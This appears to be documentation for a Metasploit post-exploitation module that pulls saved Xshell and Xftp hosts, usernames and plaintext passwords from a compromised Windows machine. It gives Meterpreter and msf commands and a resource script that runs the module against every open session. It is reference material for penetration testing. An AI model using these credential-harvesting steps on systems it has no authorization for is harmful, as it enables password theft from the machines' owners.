Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/xshell_xftp_password

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/xshell_xftp_password
msf post(xshell_xftp_password) > show options
    ... show and set options ...
msf post(xshell_xftp_password) > set SESSION session-id
msf post(xshell_xftp_password) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/xshell_xftp_password")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Analysis of encryption algorithm here.

You can find its official website here.

Verification Steps

  1. Download the latest installer of Xshell or Xftp.
  2. Use xshell to log in to ssh or xftp to log in to ftp.
  3. Remember to save the account password.
  4. Get a meterpreter session on a Windows host.
  5. Do: run post/windows/gather/credentials/xshell_xftp_password
  6. If the session file is saved in the system, the host, port, user name and plaintext password will be printed.

Options

MASTER_PASSWORD

  • Specify user's master password, e.g.:123456'
